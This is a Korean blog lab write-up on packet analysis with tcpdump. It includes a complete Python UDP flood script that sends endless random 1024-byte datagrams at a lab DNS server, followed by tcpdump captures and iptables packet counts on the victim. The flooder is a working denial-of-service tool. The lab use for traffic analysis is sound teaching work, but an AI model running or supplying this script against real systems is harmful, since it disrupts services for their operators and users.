실습> tcpdump를 이용한 패킷 분석 2
1. 공격 코드 작성
Attacker ~# vi udpflood.py
#!/usr/bin/env python3
# 모듈 사용
import socket
import random
# 배너
print("#################")
print("# UDP flooding #")
print("#################")
# UDP 통신을 할 수 있는 소켓을 생성한다.
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
# 랜덤으로 숫자를 넣는다.
bytes = random._urandom(1024)
# IP/Port 를 입력 받는다.
#ip = input('Victim IP: ')
#port = int(input('Port: '))
ip = '192.168.108.254'
port = int('53')
# 무한루프로 IP/Port 접속
# Ctrl + C 를 누르면 종료
# 예외처리
try:
print('UDP 패킷 전송중 ...')
sent = 1
while 1:
sock.sendto(bytes,(ip,port))
sent += 1
print(f' sent packets: {sent}개\r', end='')
except:
print()
2. 패킷 분석
Victim ~# tcpdump -nn -i ens33 udp port 53
3. 공격 시도
Attacker ~# chmod 755 udpflood.py
Attacker ~# time ./udpflood.py
#################
# UDP flooding #
#################
UDP 패킷 전송중 ...
^C sent packets: 50488개
real 0m2.891s
user 0m0.400s
sys 0m2.540s
4. 패킷 분석
Victim ~# tcpdump -nn -i ens33 udp port 53
:
:(생략)
16:19:56.335041 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335146 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335218 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335373 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.335533 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419877 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419907 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419909 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419911 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
16:19:56.419912 IP 192.168.108.200.48220 > 192.168.108.254.53: 19897 updateA YXDomain*- [9814q][|domain]
5. 패킷 저장 및 분석
ens33 인터페이스로 들어오는 목적지가 udp 53번 포트이면 udpflooding.pcap 파일로 저장한다.
Victim ~# tcpdump -w /var/www/html/udpflooding.pcap -i ens33 udp port 53
Attacker ~# date; time ./udpflood.py
Attacker ~# while :
do
date
sleep 1
clear
done
Attacker ~# date; time ./udpflood.py
#################
# UDP flooding #
#################
UDP 패킷 전송중 ...
^Cent packets: 2650278개
real 2m3.321s
user 0m11.755s
sys 1m51.143s
Victim ~# tcpdump -w /var/www/html/udpflooding.pcap -i ens33 udp port 53
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C154019 packets captured
325231 packets received by filter
171212 packets dropped by kernel
다운로드 받아서 와이어 샤크로 확인한다.
http://victim/udpflooding.pcap
6. 패킷 수 확인
패킷의 저장된 개수와 패킷 전송 개수가 다르므로 iptables에서 들어오는 패킷의 개수를 확인할 수 있도록 설정한다.
Victim ~# iptables -A INPUT -p udp --dport 53 -j ACCEPT
Victim ~# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 63 packets, 3744 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:53
시간을 측정해서 2분 동안 udp 패킷을 전송한다.
Attacker ~# date; time ./udpflood.py
Attacker ~# while :
do
date
sleep 1
clear
done
2분 후에 Ctrl + C로 프로그램을 종료하면 UDP 패킷이 3095125개가 전송된 것을 확인할 수 있다.
Attacker ~# date; time ./udpflood.py
Tue Mar 8 02:52:47 AM EST 2022
#################
# UDP flooding #
#################
UDP 패킷 전송중 ...
^Cent packets: 3095125개
real 2m2.083s
user 0m9.035s
sys 1m52.431s
iptables에서 패킷 수를 확인한다. 확인한다.
Victim ~# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 131 packets, 7868 bytes)
pkts bytes target prot opt in out source destination
3095K 3256M ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:53
Attacker ~# python3 -c 'print(1024 * 3095)'
3169280
전송된 패킷 개수를 확인하기 -nvvL 옵션을 사용한다.
Victim# iptables -nvvL INPUT
Chain INPUT (policy ACCEPT 208 packets, 13240 bytes)
pkts bytes target prot opt in out source destination
3095K 3256M ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:53
libiptc vlibxtables.so.10. 832 bytes.
Table `filter'
Hooks: pre/in/fwd/out/post = ffffffff/0/160/1f8/ffffffff
Underflows: pre/in/fwd/out/post = ffffffff/c8/160/1f8/ffffffff
Entry 0 (0):
SRC IP: 0.0.0.0/0.0.0.0
DST IP: 0.0.0.0/0.0.0.0
Interface: `'/................to `'/................
Protocol: 17
Flags: 00
Invflags: 00
Counters: 3095125 packets, 3256071500 bytes <-- 3095125 가 위에서 패킷을 전송한 개수와 동일하다.
Cache: 00000000
Match name: `udp'
Target name: `' [40]
verdict=NF_ACCEPT
:
:(생략)
'Linux > 보안장비 운용' 카테고리의 다른 글
| nginx 엔진 엑스 (0) | 2022.03.13 |
|---|---|
| ROUTER 이중화 VRRP 설정하기 (0) | 2022.03.10 |
| tcpdump 를 이용한 패킷 분석 (0) | 2022.03.10 |
| 웹서버 파일에 백도어 (0) | 2022.03.08 |
| HTTP 환경변수 로그 남기기 (0) | 2022.03.08 |